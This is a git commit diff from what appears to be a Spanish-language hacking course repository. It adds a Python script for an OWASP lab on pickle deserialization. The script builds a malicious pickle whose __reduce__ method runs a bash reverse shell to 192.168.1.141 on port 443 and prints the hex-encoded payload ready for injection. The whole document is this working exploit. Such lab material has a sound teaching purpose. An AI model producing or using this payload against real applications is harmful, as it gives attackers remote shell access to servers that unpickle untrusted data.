Update tema 6

2024-02-25 19:25:08 +01:00
parent 6aa12a6266
commit 451dcdce78
2 changed files with 76 additions and 0 deletions
--- a/Introduccion-hacking-hack4u/tema_6_owasp/35_des_pickle/exploitation.py
+++ b/Introduccion-hacking-hack4u/tema_6_owasp/35_des_pickle/exploitation.py
@@ -0,0 +1,16 @@
+#!/var/bin/env python3
+
+import pickle
+import os
+import binascii
+
+class Exploit(object):
+
+    def __reduce__(self):
+
+        return (os.system, ('bash -c "bash -i >& /dev/tcp/192.168.1.141/443 0>&1"',))
+
+
+if __name__ == '__main__':
+
+    print(binascii.hexlify(pickle.dumps(Exploit())))